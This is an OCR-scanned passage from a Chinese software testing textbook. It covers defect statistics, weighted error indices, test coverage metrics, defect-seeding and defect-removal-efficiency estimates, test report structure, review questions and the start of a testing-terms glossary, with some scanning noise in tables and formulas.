(10) 将 设计 翻译 成 程序 设计 语言 中 的 错误 (PLT) 

(11) 不 清晰 或 不 一 致 的 人 机 界面 (HCID) 

(12) 杂项 (MIS) 

为 了 使 用 质量 度量 的 统计 方法 ,需要 收集 上 述 各 项 数据 ,如 表 14-1 所 示 , 表 中 显示 IES、 
MCC、EDR 和 IET 占 所 有 错误 的 近 62% ,是 影响 质量 的 几 个 主要 原因 。 但 如 果 只 考虑 那些 严 
重 影响 产品 质量 的 因素 时 ,少数 的 主要 原因 就 变 为 IESEDR、PLT 和 EDL。 一 旦 确定 了 什么 
是 少数 的 主要 原因 (IES、EDR 等 ) ,软件 开发 组 织 就 可 以 集中 在 这 些 领 域 采取 改进 措施 ,质量 
改善 的 效果 会 非常 明显 。 例 如 ,为 了 减少 与 客户 交流 不 够 所 产生 的 误解 (改正 MCC) ,在 产品 
规格 设计 说 明 书 中 尽量 不 用 专业 术语 ,即使 用 了 专业 术语 ,也 要 定义 清楚 ,以 提高 文档 的 质量 
和 沟通 的 效率 。 再 比如 ,为 了 改正 EDR( 数 据 表 示 有 错 ) ,不 仅 采用 CASE 工具 进行 数据 建 模 ， 
而 且 对 数据 字典 数据 设计 要 实施 严格 的 复审 制度 。 


表 14-1 质量 度量 的 统计 数据 收集 


总 计 (E;) 严重 (S;) 一 般 (M;) 微小 (T;) 
错误 数量 百分比 数量 百分比 数量 百分比 数量 百分比 
IES 296 22.3% 55 28.2% 95 18.6% 146 23.4% 
MCC 204 15.3% 18 9.2% 87 17.0% 99 15.9% 
IDS 64 4.8% 2 1.0% 31 6.1% 31 5.0% 
VPS 34 2.6% 1 0.5% 19 3.7% 14 2.2% 
EDR 182 13.7% 38 19.5% 90 17.6% 54 8.7% 
IMI 82 6.2% 14 7.2% 21 4.1% 47 7.5% 
EDL 64 4.8% 20 10.3% 17 3.3% 27 4.3% 
IET 140 10.5% 17 8.7% 人 10.0% 72 11.6% 
ID 54 4.1% 1.5% 28 5.5% 23 3.7% 
nT 87 6.5% 中 11.3% 26 5.1% 39 6.3% 
HCI 42 3.2% 4 2.1% 27 5.3% 11 1.8% 
MIS 81 6.1% 1 0.5% 20 3.9% 60 9.6% 
总 计 1330 100% 195 100% 512 100% 623 100% 


当 与 缺陷 跟踪 数据 库 结合 使 用 时 ,可 以 为 软件 开发 周期 的 每 个 阶段 计算 其 “错误 指标 ”。 
针对 需求 分 析 、 设 计 、 编 码 , 测 试 和 发 布 各 个 阶段 ,收集 到 以 下 数据 。 
三 在 软件 工程 过 程 中 的 第 i 步 中 发 现 的 错误 总 数 


S; 一 严重 错误 数 
Mi 一 一 般 错误 数 
五 一 微小 错误 数 


P;== 第 i 步 的 产品 规模 (LOC. 设 计 说 明 \ 文 档 页 数 ) 

W,、W、W, 分 别 是 严重 一般、 微小 错误 的 加 权 因 子 ,一 般 建 议 取 值 为 W, 二 10、W, 二 3 和 
W, 二 1, 作 者 建议 取 值 为 W, 二 0.6、W 二 0.3 和 W, 二 0.1( 构 成 100%)。 所 以 每 个 阶段 的 错误 
度量 值 可 以 表示 为 PL : 

PL; = W,(S;/Ei) +W, M/E) + W,(T/E;) 
最 终 的 错误 指标 Ep 通过 计算 各 个 PI; 的 加 权 效 果 得 到 ,考虑 到 软件 测试 过 程 中 越 到 后 面 发 现 
的 错误 其 权 值 越 高 ,简单 用 1,2,3,… 序 列表 示 , 则 Es 为 : 
Er 一 > (ixPI)/Ps， 其 中 Ps = >)P， 

错误 指标 与 表 14-1 中 收集 的 信息 相 结 合 , 可 以 得 出 软件 质量 的 整体 改进 指标 。 

质量 度量 的 统计 方法 告诉 我 们 : 将 时 间 集 中 用 于 主要 的 问题 解决 之 上 ,首先 就 必须 知道 
哪些 是 主要 因素 ,而 这 些 主 要 因素 可 以 通过 数据 收集 、 统 计 方 法 等 分 离 出 来 ,从 而 可 以 更 快 地 
提高 产品 质量 。 实 际 上 ,大 多 数 严 重 的 缺陷 都 可 以 追溯 到 少数 的 根本 原因 之 上 ,常常 和 人 们 的 
直觉 也 是 比较 接近 的 ,但 是 很 少 有 人 花 时 间 收 集 数据 以 验证 他 们 的 直觉 。 


14.2 评估 系统 测试 的 覆盖 程度 


为 什么 要 做 软件 测试 评估 呢 ? 如 果 没 有 测试 评估 ,就 没有 测试 覆盖 率 的 结果 ,就 没有 报告 
测试 进程 的 根据 。 软 件 测试 评估 主要 有 以 下 两 个 目的 。 


(1) 量化 测试 进程 ,判断 测试 进行 的 状态 ,决定 什么 时 候 测试 可 以 结束 ; 

(2) 为 编写 测试 报告 或 质量 分 析 报告 提供 所 需 的 数据 ,如 缺陷 清除 率 、 测 试 覆盖 率 等 。 

测试 评估 是 软件 测试 的 一 个 阶段 性 的 结论 ,以 确定 测试 是 否 达到 完全 和 成 功 的 标准 。 测 
试 评估 可 以 说 贯穿 整个 软件 测试 过 程 ,可 以 在 测试 的 每 个 阶段 结束 前 进行 ,也 可 以 在 测试 过 程 
中 的 某 一 个 时 间 进 行 。 

系统 的 测试 活动 建立 在 至 少 一 个 测试 覆盖 策略 基础 上 .而 覆盖 策略 试图 描述 测试 的 一 般 
目的 ,指导 测试 用 例 的 设计 。 如 果 测 试 需求 已 经 完全 分 类 , 则 基于 需求 的 覆盖 策略 可 能 足以 生 
成 测试 完全 程度 评测 的 量化 指标 。 例 如 ,如 果 已 经 确定 了 所 有 性 能 测试 需求 , 则 可 以 引用 测试 
结果 来 得 到 评测 ,如 已 经 核实 了 90% 的 性 能 测试 需求 。 测 试 评估 工 作 主 要 是 对 测试 覆盖 率 的 
评估 ,测试 覆盖 率 是 衡量 测试 完成 多 少 的 一 种 量化 的 标准 。 

测试 的 覆盖 率 ,可 以 用 测试 项 目的 数量 和 内 容 进 行 度量 。 除 此 之 外 ,如 果 测 试 软件 的 数量 
较 大 ,还 要 考虑 数据 量 。 测 试 的 覆盖 率 ,可 以 根据 如 表 14-2 所 示 测 试 指标 进行 评价 。 通 过 检 
查 这 些 指标 达到 的 程度 ,就 可 以 度量 出 测试 内 容 的 覆盖 程度 。 


表 14-2 测试 覆盖 程度 表 


测试 覆盖 项 测试 覆盖 率 指标 测试 描述 测试 结果 
界面 覆盖 符合 需求 (所 有 界面 图 标 \ 信 息 区 、 状 态 区 ) 

静态 功能 覆盖 功能 满足 需求 

动态 功能 覆盖 所 有 功能 的 转换 功能 正确 

正常 测试 覆盖 所 有 硬件 软件 正常 时 处 理 

异常 测试 覆盖 硬件 或 软件 异常 时 处 理 (不 允许 的 操作 ) 测试 结束 判断 


对 测试 覆盖 率 的 评估 就 是 要 确定 测试 执行 的 完全 程度 ,其 基本 方法 有 基于 需求 的 测试 覆 
盖 评 估 和 基于 代码 的 测试 覆盖 评估 。 


14.2.1 对 软件 需求 的 估算 


在 讨论 基于 需求 的 测试 覆盖 评估 之 前 ,首先 讨论 对 软件 需求 的 估算 。 软 件 需求 的 估算 有 
利于 对 测试 需求 的 把 握 , 进 一 步 有 利于 测试 覆盖 率 的 估算 。 
假设 在 一 个 规格 设计 说 明 书 中 及 个 需求 ,其 功能 需求 的 数目 为 F, 非 功能 需求 数 ( 如 性 
能 ) 为 N, 则 ; R=F+N。 为 了 确定 需求 的 确定 性 ,一 种 基于 复审 者 对 每 个 需求 解释 的 一 致 性 
的 度量 方法 为 : 
Q = M/R 
其 中 ,Q, 表示 需求 的 确定 性 ,M 是 所 有 复审 者 都 有 相同 解释 的 需求 数目 。 当 需求 的 模糊 性 越 
低 时 ,Q, 的 值 越 接近 1。 而 功能 需求 的 完整 性 Q, 则 可 以 通过 计算 以 下 比率 获得 : 
Q: = F,/(N; x N,) 
其 中 ,F, 是 唯一 功能 需求 的 数目 ,N; 是 由 规格 设计 说 明 书 定义 的 输入 个 数 ,N, 是 被 表示 的 状 
态 的 个 数 。Q 只 是 测度 了 一 个 系统 所 表示 的 必需 的 功能 百分比 ,但 是 它 并 没有 考虑 非 功能 需 
求 。 为 了 把 这 些 非 功 能 需求 结合 到 整体 度量 中 以 求 完整 ,必须 考虑 已 有 需求 已 经 被 确认 的 程 
度 。 这 可 以 用 Q 来 表示 : 
Q; = F./(F.+F,) 
其 中 ,Fe 是 已 经 确认 为 正确 的 需求 的 个 数 ,FF,. 是 尚未 被 确认 的 需求 的 个 数 。 


14.2.2 基于 需求 的 测试 覆盖 评估 


基于 需求 的 测试 覆盖 评估 是 依赖 于 对 已 执行 /运行 的 测试 用 例 的 核实 和 分 析 , 所 以 基于 需 
求 的 测试 覆盖 评测 就 转化 为 评估 测试 用 例 覆 盖 率 : 测试 的 目标 是 确保 100% 的 测试 用 例 全 部 
成 功 地 执行 。 如 果 这 个 目标 不 可 行 或 不 可 能 达到 , 则 要 根据 不 同 的 情况 制定 不 同 的 测试 覆盖 
标准 。 主 要 考虑 风险 和 严重 性 、 可 接受 的 覆盖 百分比 。 
在 执行 测试 活动 中 ,评估 测试 用 例 覆 盖 率 又 可 以 分 为 以 下 两 类 测试 用 例 覆 盖 率 估算 。 
(1) 确定 已 经 执行 的 测试 用 例 覆 盖 率 , 即 在 所 有 测试 用 例 中 有 多 少 测试 用 例 已 被 执行 。 
假定 T 为 已 执行 的 测试 过 程 数 或 测试 用 例 数 ,Rs 是 测试 需求 的 总 数 : 
已 执行 的 测试 覆盖 二 TV/Rr 
(2) 确定 成 功 的 测试 覆盖 , 即 执行 时 未 出 现 失 败 的 测试 ,如 没有 出 现 缺陷 或 意外 结果 的 测 
试 ,假定 T, 是 已 执行 的 完全 成 功 、 没 有 缺陷 的 测试 过 程 数 或 测试 用 例 数 。 
成 功 的 测试 覆盖 = TV/Rs 
在 实际 过 程 中 ,很 难 确定 Rs 的 值 ,可 以 根据 需求 点 、 以 往 经 验 来 估算 。 


14.2.3 基于 代码 的 测试 覆盖 评估 


基于 代码 的 测试 覆盖 评测 是 对 被 测试 的 程序 代码 语句 、 路 径 或 条 件 的 覆盖 率 分 析 , 它 对 于 
安全 至 上 的 系统 来 说 非常 重要 。 如 果 应 用 基于 代码 的 覆盖 , 则 测试 策略 是 根据 测试 已 经 执行 
的 源 代码 的 多 少 来 表示 的 。 测 试 过 程 中 已 经 执行 的 代码 的 多 少 ,与 之 相对 的 是 要 执行 的 剩余 
代码 的 多 少 。 代 码 覆 盖 可 以 建立 在 控制 流 (语句 \ 分 支 或 路 径 ) 或 数据 流 的 基础 上 。 控 制 流 覆 
盖 的 目的 是 测试 代码 行 ,分支 条 件 、 代 码 中 的 路 径 或 软件 控制 流 的 其 他 元 素 。 数 据 流 覆盖 的 目 
的 是 通过 软件 操作 测试 数据 状态 是 否 有 效 ,例如 ,数据 元 素 在 使 用 之 前 是 否 已 经 定义 。 

基于 代码 的 测试 覆盖 通过 以 下 公式 计算 

已 执行 的 测试 覆盖 = T./T。。 
其 中 ,T. 是 用 代码 语句 、 条 件 分 支 、 代 码 路 径 、 数 据 状 态 判 定点 或 数据 元 素 名 表示 的 已 执行 项 
目 数 ,T,. 是 代码 中 的 项 目 总 数 。 

基于 代码 的 测试 覆盖 评测 一 般 都 是 通过 相应 的 工具 来 完成 的 , 即 根据 测试 运行 时 所 走 过 
的 程序 路 径 来 计算 测试 的 代码 覆盖 率 , 程 序 能 识别 哪些 代码 行 、 哪 些 分 支 或 条 件 、 哪 些 程序 路 
径 等 被 测试 过 ,从 而 根据 整个 程序 的 相应 值 计算 代码 行 、 分 支 /条 件 和 路 径 等 测试 覆盖 率 。 如 
使 用 Rational PureCoverage 能 自动 找 出 代码 中 未 经 测试 的 代码 ,获得 代码 测试 覆盖 率 , 还 可 
针对 每 次 测试 生成 全 面 的 覆盖 率 报告 ,可 以 归并 程序 多 次 运行 所 生成 的 覆盖 数据 ,并 自动 比较 
测试 结果 ,以 评估 测试 进度 。 还 有 很 多 测试 覆盖 率 分 析 工 具 , 如 : 

(1) EMMA: 开源 的 、 面 向 Java 代码 的 测试 覆盖 率 收集 与 报告 工具 ,如 图 14-1 所 示 。 

(2) Clover: 是 一 个 基本 的 Java 代码 覆盖 测试 分 析 工 具 。 

(3) CodeCover: 可 以 度量 语句 分 支 .循环 和 修订 的 条 件 /判定 覆盖 等 各 方面 的 测试 覆盖 
率 ,支持 Java 和 COBO 两 种 语言 。 

(4) Cobertura: 覆盖 率 分 析 工 具 , 可 以 和 Ant 或 maven 集成 起 来 使 用 。 

(5) Coverlipse: 作为 Eclipse 的 插件 ,和 JUnit 无 颖 集成 ,完成 Java 单元 测试 覆盖 率 度 
量 , 并 把 结果 导 成 XML 文件 。 

(6) Jcoverage: 用 于 Java 代码 的 覆盖 测试 。 


(7) JSCoverage: 用 于 度量 JavaScript 程序 的 代码 覆盖 率 的 工具 。 
(8) rcov: 是 一 个 用 于 诊断 Ruby 代码 覆盖 率 的 工具 。 


EMMA Coverage Report (generated Mon Mar 30 13:04:17 PDT 2009) 


OVERALL COVERAGE SUMMARY 


100% (1/1) 100% (2/2) 100% (14/14 100% (6/6) 
OVERALL STATS SUMMARY 

total packages 时 

total executable files: 1 

total classes 

total nethods 2 

total executable lines; 6 


COVERAGE BREAKDOWN BY PACKAGE 


name class, % method, % block % line, % 
detault package -二 (VD 100% 2 100% 一 -二 ee ] 


图 14-1 EMMA 覆盖 率 分 析 报 告 


14.3 基于 缺陷 分 析 的 产品 质量 评估 


质量 是 反映 软件 与 需求 相符 程度 的 指标 ,而 缺陷 被 认为 是 软件 与 需求 不 一 致 的 某 种 表现 ， 
所 以 通过 对 测试 过 程 中 所 有 已 发 现 的 缺陷 进行 评估 ,可 以 了 解 软件 的 质量 状况 。 也 就 是 说 , 软 
件 缺 陷 评估 是 评估 软件 质量 的 重要 途径 之 一 ,软件 缺陷 评估 指标 可 以 看 作 是 量度 软件 质量 的 
重要 指标 ,而 且 缺 陷 分 析 也 可 以 用 来 评估 当前 软件 的 可 靠 性 ,并 且 预 测 软件 产品 的 可 靠 性 变 
化 ,缺陷 分 析 在 软件 可 靠 性 评估 中 也 起 到 相当 大 的 作用 。 

软件 缺陷 评估 的 方法 相对 比较 多 ,从 简单 的 缺陷 计数 到 严格 的 统计 建 模 ,质量 度量 的 统计 
方法 就 是 一 个 例子 。 通 常 ,软件 缺陷 评估 模型 假设 缺陷 的 发 现 是 呈 泊 松 分 布 的 , 则 有 关 缺 陷 率 
的 实际 数据 可 以 适用 于 这 一 模型 ,但 更 严格 的 缺陷 评估 要 考察 在 测试 过 程 中 发 现 缺陷 的 实际 
间隔 时 间 。 基 于 缺陷 分 析 的 产品 质量 评估 方法 有 以 下 几 种 。 

(1) 经 典 的 种 子 公 式 。 

(2) 基于 缺陷 清除 率 的 估算 方法 。 

(3) 软件 产品 性 能 评估 技术 。 


14.3.1 缺陷 评测 的 基线 


软件 评估 首先 要 建立 基线 ,为 软件 产品 的 质量 设置 起 点 ,在 基线 的 基础 上 再 设置 新 的 目 
标 ,作为 对 系统 评估 是 否 通过 的 标准 。 

缺陷 评测 的 基线 是 对 某 一 类 或 某 一 组 织 的 结果 的 一 种 度量 ,这 种 结果 可 能 是 常见 的 或 典 
型 的 ,如 10 000 行 源 程 序 是 程序 规模 的 一 个 基准 ,每 一 千 行 代码 有 三 个 错误 是 测试 中 错误 发 
现 率 的 基准 。 基 准 对 期 望 值 的 管理 有 很 大 帮助 ,目标 就 是 相对 基准 而 存在 的 ,也 就 是 定义 可 接 
受 行为 的 基准 ,如 表 14-3 所 示 。 


表 14-3 某 个 软件 项 目 基准 和 目标 


条 目 目 标 低 水 平 
缺陷 清除 效率 >95% <70% 
原 有 缺陷 密度 每 个 功能 点 <4 每 个 功能 点 之 7 
超出 风险 之 外 的 成 本 0% >10% 
全 部 需求 功能 点 二 1% 每 个 月 平均 值 50% 
全 部 程序 文档 每 个 功能 点 页 数 <<3 每 个 功能 点 页 数 >6 
员工 离职 率 每 年 1%~3% 每 年 沁 >5% 


14.3.2 经 典 的 种 子 公式 


Mills 研究 出 如 何 通过 已 知 缺 陷 ( 称 为 种 子 Bug) 来 估计 程序 当中 潜在 的 .未 知 的 缺陷 数 
量 。 其 基本 前 提 是 将 测试 队伍 分 为 两 个 小 组 ,一 个 小 组 事先 将 已 知 的 共 S 个 Bug( 种 子 ) 安 插 
在 程序 里 ,然后 ,让 另 一 个 测试 小 组 尽 可 能 发 现 程序 的 Bug, 假 如 他 们 发 现 了 ;个 种 子 Bug, 则 
认为 存在 这 样 一 个 等 式 : 


已 测试 出 的 种 子 Bug(s) _ 已 测试 出 的 非 种 子 Bug(z) 
所 有 的 种 子 Bug(S) 全 部 的 非 种 子 Bug(CN) 


则 可 以 推出 程序 的 总 Bug 数 为 : 


N= Sxn/s 
其 中 ,n 是 所 进行 实际 测试 时 发 现 的 Bug 总 数 。 如 果 2 一 N, 说 明 所 有 的 Bug 已 找 出 来 ,做 的 
测试 足够 充分 。 这 种 测试 是 否 充分 ,可 以 用 一 个 信心 指数 来 表示 , 即 用 一 个 百分比 表示 , 值 越 
大 ,说 明 对 产品 质量 的 信心 越 高 ,最 大 值 为 1 。 
一 1 (n> N) 


=S/(S—-N+1) (nn<N) 

但 是 这 种 假定 本 身 的 可 能 性 就 比较 小 ,因为 种 子 Bug 很 难 具 有 完全 的 代表 性 ,根据 相似 
系统 确定 的 Bug 其 结果 可 能 差别 很 大 。 另 外 .人 为 设置 程序 的 Bug, 这 工作 本 身 就 比较 困难 ， 
要 将 正确 的 程序 改 为 错误 的 程序 ,会 引起 其 他 的 一 些 问题 , 即 插入 一 个 缺陷 可 能 会 引起 两 三 个 
缺陷 ,而 且 缺 陷 相 互 之 间 可 能 存在 相互 影响 或 有 关联 关系 ,虽然 事先 设 定 插入 20 个 种 子 Bug， 
可 能 在 程序 中 插入 了 26、27 个 种 子 Bug, 所 以 按照 上 述 计算 的 公式 就 不 准确 了 。 


14.3.3 基于 缺陷 清除 率 的 估算 方法 


首先 引入 几 个 变量 ,F 为 描述 软件 规模 用 的 功能 点 ; Di, 为 在 软件 开发 过 程 中 发 现 的 所 有 
缺陷 数 ; D, 为 软件 发 布 后 发 现 的 缺陷 数 ; DD 为 发 现 的 总 缺陷 数 。 因 此 ,D= Di 十 D,。 
对 于 一 个 应 用 软件 项 目 , 则 有 如 下 计算 方程 式 ( 从 不 同 的 角度 估算 软件 的 质量 ): 
质量 = D;,/F 
缺陷 注入 率 = D/F; 
整体 缺陷 清除 率 = D1/D 
假如 有 100 个 功能 点 , 即 ==100, 而 在 开发 过 程 中 发 现 了 20 个 错误 ,提交 后 又 发 现 了 三 
个 错误 , 则 : Di=20,D:=3,D=Di 十 D:=23。 
质量 (每 功能 点 的 缺陷 数 ) = D;/F = 3/100 = 0.03(3%) 
缺陷 注入 率 = D/F = 20/100 = 0. 20(20%) 


整体 缺陷 清除 率 = Di/D = 20/23 一 0. 8696(86. 96%) 
有 资料 统计 ,美国 的 平均 整体 缺陷 清除 率 目 前 只 达到 大 约 85%, 而 对 一 些 具有 良好 的 管 
理 和 流程 等 著名 的 软件 公司 ,其 主流 软件 产品 的 缺陷 清除 率 可 以 超过 98%。 
众所周知 ,清除 软件 缺陷 的 难 易 程度 在 各 个 阶段 也 是 不 同 的 。 需求 错 误 、 规 格 说 明 、 设 计 
问题 及 错误 修改 是 最 难 清除 的 ,如 表 14-4 所 示 。 


表 14-4 不 同 缺 陷 源 的 清除 效率 


缺陷 源 潜在 缺陷 清除 效率 /% 被 交付 的 缺陷 
需求 报告 1.00 77 0. 23 
设计 1.35 85 0. 19 
编码 1.75 95 0.09 
文档 0.60 80 0.12 
错误 修改 0.40 70 0.12 
合计 5.00 85 0.75 


表 14-5 反映 的 是 CMM 的 5 个 等 级 是 如 何 影响 软件 质量 的 ,其 数据 来 源 于 美国 空军 1994 
年 委托 SPR( 美 国 一 家 著名 的 调查 公司 ) 进 行 的 一 项 研究 。 从 表 中 可 以 看 出 ,CMM 级 别 越 高 ， 
缺陷 清除 率 也 越 高 。 


表 14-5 SEI CMM 级 别 潜在 缺陷 与 清除 


SEI CMM 级 别 潜在 缺陷 清除 效率 /% 被 交付 的 缺陷 
1 5.00 85 0.75 
2 4.00 89 0.44 
3 3.00 91 0.27 
4 2.00 93 0.14 
5 1.00 95 0.05 


14.3.4 软件 产品 性 能 评估 


软件 产品 性 能 评估 的 技术 性 相对 比较 强 , 方 法 的 基础 是 获取 与 性 能 表现 相关 的 数据 ,如 响 
应 时 间 数据 吞吐 量 .数据 流速 率 、 操 作 可 靠 性 等 。 性 能 评测 一 般 和 测试 的 执行 结合 起 来 做 ,或 
者 是 在 执行 测试 时 记录 、 保 存 各 种 数据 ,然后 在 评估 测试 活动 中 进行 计算 结果 。 主 要 的 性 能 评 
测 包 括 以 下 内 容 。 

(1) 动态 监测 : 在 测试 执行 过 程 中 ,实时 获取 并 显示 正在 监测 指标 的 状态 数据 ,通常 以 柱 
状 图 或 曲线 图 的 形式 提供 实时 显示 ,来 监测 或 评估 性 能 测试 执行 情况 。 

(2) 响应 时 间 / 吞 吐 量 : 测试 对 象 针对 特定 条 件 下 某 个 要 测量 特性 的 相关 的 性 能 行为 ， 
响应 时 间或 吞吐 量 来 进行 量化 评测 。 这 些 报告 通常 用 曲线 图 统计 图 来 表示 。 

(3) 百分比 报告 : 即 对 已 收集 数据 的 百分比 评测 和 计算 。 

(4) 比较 报告 : 比较 不 同性 能 测试 的 结果 ,以 评估 测试 执行 过 程 之 间 所 做 的 变更 对 性 能 
行为 的 影响 ,从 而 进一步 分 析 不 同 测试 执行 情况 的 多 个 数据 集 之 间 的 差异 或 趋势 。 

(5) 追踪 报告 : 当 性 能 行为 可 以 接受 时 或 性 能 监测 表明 存在 可 能 的 瓶颈 时 ,追踪 报告 可 
能 是 最 有 价值 的 报告 。 追 踪 和 配置 文件 报告 显示 低级 信息 。 该 信息 包括 主角 与 测试 对 象 之 间 
的 消息 ,执行 流 \ 数 据 访 问 以 及 函数 和 系统 调用 等 。 


14.4 测试 报告 的 具体 内 容 


在 国家 标准 GB/T 17544 一 1998 中 对 测试 报告 有 了 具体 要 求 , 也 就 是 对 测试 对 象 (软件 程 
序 、 系 统 . 产 品 等 ) 有 一 个 清楚 的 描述 ,对 测试 记录 测试 结果 如 实 汇总 分 析 ,报告 出 来 。 测 试 报 
告 应 具有 如 下 结构 。 

(1) 产品 标识 ; 

(2) 用 于 测试 的 计算 机 系统 ; 

(3) 使 用 的 文档 及 其 标识 ; 

(4) 产品 描述 、 用 户 文档 ,程序 和 数据 的 测试 结果 ; 

(5) 与 要 求 不 符 的 清单 ; 

(6) 针对 建议 的 要 求 不 符 的 清单 ,产品 未 做 符合 性 测试 的 说 明 ; 

(7) 测试 结束 日 期 。 

主要 内 容 集中 在 第 4 项 内 容 , 即 产品 描述 、 用 户 文档 ,程序 和 数据 的 测试 结果 。 在 产品 描 
述 中 提供 关于 用 户 文档 ,程序 以 及 数据 (如 果 有 ) 的 信息 ,其 信息 描述 应 该 是 正确 的 、 清 楚 的 ,前 
后 一 致 的 ,容易 理解 的 ,完整 的 并 且 易 于 浏览 的 。 更 重要 的 是 ,在 测试 报告 中 ,产品 的 描述 和 测 
试 的 内 容 有 着 相对 应 的 关系 ,也 就 是 说 产品 描述 还 要 包含 功能 说 明 、 可 靠 性 说 明 、 易 用 性 说 明 
和 效率 、 可 维护 性 \ 可 移植 性 说 明 ,特别 在 功能 说 明 中 ,不 仅 需要 概述 产品 的 用 户 可 调用 功能 、 
需要 的 数据 等 ,而 且 将 系统 相应 的 边界 值 .安全 性 要 求 描述 清楚 。 对 易 用 性 说 明 中 要 包括 对 用 
户 界面 .所 要 求 的 知识 .适应 用 户 的 需要 ,防止 侵权 行为 ,使 用 效率 和 用 户 满意 度 等 的 要 求 。 

对 于 用 户 文档 ,测试 的 标准 比较 清楚 ,就 是 完整 性 .正确 性 .一致 性 、. 易 理解 性 和 易 浏 览 性 。 
对 于 程序 和 数据 的 测试 ,需要 从 功能 .可 靠 性 . 易 用 性 和 效率 、. 可 维护 性 .可 移植 性 等 方面 进行 
测试 ,并 在 报告 中 反映 出 来 。 对 前 三 项 测试 结果 ,要求 更 高 些 , 即 : 

(1) 功能 性 ,包括 安装 .功能 表现 ,以 及 功能 使 用 的 正确 性 、 一 致 性 。 

(2) 可 靠 性 ,系统 不 应 陷入 用 户 无 法 控制 的 状态 , 既 不 应 崩溃 也 不 应 丢失 数据 。 即 使 在 下 
列 情况 下 也 应 满足 可 靠 性 要 求 。 

Q@ 使 用 的 容量 到 达 规 定 的 极限 ; 

@ 企图 使 用 的 容量 超出 规定 的 极限 ; 

@ 由 产品 描述 中 列 出 的 其 他 程序 或 用 户 造 成 的 错误 输入 ; 

@ 用 户 文档 中 明确 规定 的 非法 指令 。 

(3) 易 用 性 包括 易 理 解 性 、 易 浏览 性 、 可 操作 性 三 个 方面 。 


小 结 


代码 和 相应 的 文档 是 开发 人 员 的 主要 工作 成 果 , 作 为 软件 测试 人 员 ,其 主要 成 果 就 是 提交 
一 份 数 据 准 确 、 信 息 充分 、 分 析 透 彻 的 测试 报告 或 质量 报告 。 为 了 提交 这 样 一 份 报告 ,需要 对 
测试 进行 全 面 的 评估 ,就 是 要 对 已 做 过 的 测试 和 测试 结果 等 方面 进行 评估 。 概 括 起 来 ,就 是 软 
件 测试 覆盖 评估 和 测试 结果 的 质量 分 析 。 

(1) 测试 覆盖 是 对 测试 完全 程度 的 评测 , 它 建 立 在 测试 覆盖 的 基础 上 ,测试 覆盖 是 由 测试 
需求 和 测试 用 例 的 覆盖 或 已 执行 代码 的 覆盖 表示 的 。 


(2) 质量 分 析 是 对 测试 对 象 (被 测 系统 或 软件 产品 ) 的 可 靠 性 \ 稳 定性 以 及 性 能 的 评测 。 
质量 建立 在 对 测试 结果 的 评估 和 对 测试 过 程 中 变更 请 求 分 析 的 基础 上 。 

从 广义 上 说 ,测试 覆盖 不 仅 对 测试 的 量化 分 析 , 而 且 对 已 经 完成 的 测试 过 程 进行 审查 、 评 
佑 ,包含 审查 测试 计划 测试 用 例 、 测 试 环 境 和 测试 用 例 的 执行 情况 ,看 是 否 有 漏洞 、 琉 忽 的 地 
方 ,如 果 有 ,需要 及 时 补救 。 

软件 测试 和 质量 分 析 报 告 的 依据 就 是 产品 规格 说 明 书 、 系 统 设 计 文档 \ 测 试 计划 书 和 对 实 
际 系统 的 测试 数据 ,重点 集中 在 缺陷 历史 数据 的 分 析 之 上 。 通 过 缺陷 分 析 , 了 解 测试 的 进程 、 
产品 质量 的 当前 状况 ,可 以 判断 软件 主要 问题 在 哪些 模块 或 什么 主要 原因 引起 相应 的 问题 。 
软件 质量 度量 和 分 析 , 不 仅 可 以 帮助 写 出 高 质量 的 测试 报告 ,同时 可 以 帮助 开发 人 员 解 决 问 
题 ,帮助 产品 管理 人 员 做 出 是 否 发 布 产品 的 决定 。 


思考 题 


1. McCall 的 质量 因素 是 在 20 世纪 70 年 代 提出 的 ,自从 被 提出 来 后 几乎 计算 的 每 个 方面 
改动 都 很 大 ,但 是 ,McCall 的 因素 继续 应 用 到 现代 软件 。 能 根据 这 个 事实 得 出 什么 结论 吗 ? 

2. 为 什么 没有 一 个 单一 的 ,全 包容 的 对 程序 复杂 度 或 程序 质量 的 度量 ? 

3. 软件 缺陷 分 析 有 哪些 方法 ? 

4. 开发 一 个 小 型 的 软件 工具 用 来 对 软件 缺陷 进行 趋势 分 析 , 计 算出 测试 效率 和 修复 Bug 
的 效率 。 

5. 基于 需求 的 测试 覆盖 评估 和 基于 代码 的 测试 覆盖 评估 , 哪 一 种 方法 更 有 效 ? 

6. 如 何 设计 一 套 基 于 经 验 的 产品 质量 评估 方法 ? 
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附录 人 A 
软件 测试 英文 术语 及 中 文 解释 


= 不 = 


Acceptance Testing 验收 测试 

软件 或 硬件 开发 的 一 个 测试 阶段 ,以 检验 所 测试 的 系统 是 否 正 确实 
现 了 所 有 的 用 户 需求 ,以 保证 其 达到 可 以 交付 使 用 的 状态 ,通常 是 产品 
发 布 之 前 最 后 一 个 测试 阶段 。 

Accessibility 可 接近 性 

使 组 成 软件 的 各 部 分 便于 选择 使 用 或 维护 的 程度 。 

Active or Open 激活 状态 

未 被 解决 的 缺陷 的 一 种 状态 ,如 新 报告 的 Bug, 或 验证 后 Bug 仍然 
存在 的 状态 。 

Adaptability 适应 性 

使 不 同 的 系统 约束 条 件 和 用 户 需求 得 到 满足 的 容易 程度 。 

Analytical Model 分 析 模 型 

用 一 组 可 解 方程 来 表示 一 个 过 程 或 一 个 现象 。 

Architecture 体系 结构 

系统 各 部 件 之 间 的 结构 和 关系 。 

Automated Test Case Generator 自动 测试 用 例 生 成 器 

Audit 审核 

为 获得 审核 证 据 并 对 其 进行 客观 的 评价 ,以 确定 满足 经 协商 的 准则 
的 程度 所 进行 的 系统 的 、 独 立 的 并 形成 文件 的 过 程 。 

Audit Scope 审核 范围 

审核 的 广度 和 界限 。 

Auditor 审核 员 

Auditor Qualifications 审核 员 资格 

Availability 可 用 性 

软件 在 投入 使 用 时 能 实现 其 指定 的 系统 功能 的 概率 ,可 用 系统 正常 
工作 时 间 和 总 的 运行 时 间 之 比 计算 。 


三 二 


Behavioral Test 行为 测试 

基本 计算 机 系统 、 硬 件 或 软件 假定 完成 的 用 途 和 功能 测试 ,根据 产品 特征 、 操 作 描述 和 
户 方案 进行 。 也 被 称 为 黑 盒 测 试 或 功能 测试 。 

Baseline 基线 

在 配置 项 目 生存 周期 的 某 一 特定 时 间 内 ,正式 指定 或 固定 下 来 的 配置 标识 文件 和 一 组 这 
样 的 文件 或 数据 ,可 用 作 下 一 步 开发 的 基础 。 

Black-box Test 黑 盒 测试 

不 管 程序 内 部 结构 是 什么 样 的 ,把 系统 或 软件 看 成 一 个 黑 盒 ,只 是 根据 输入 /输出 条 件 、 边 
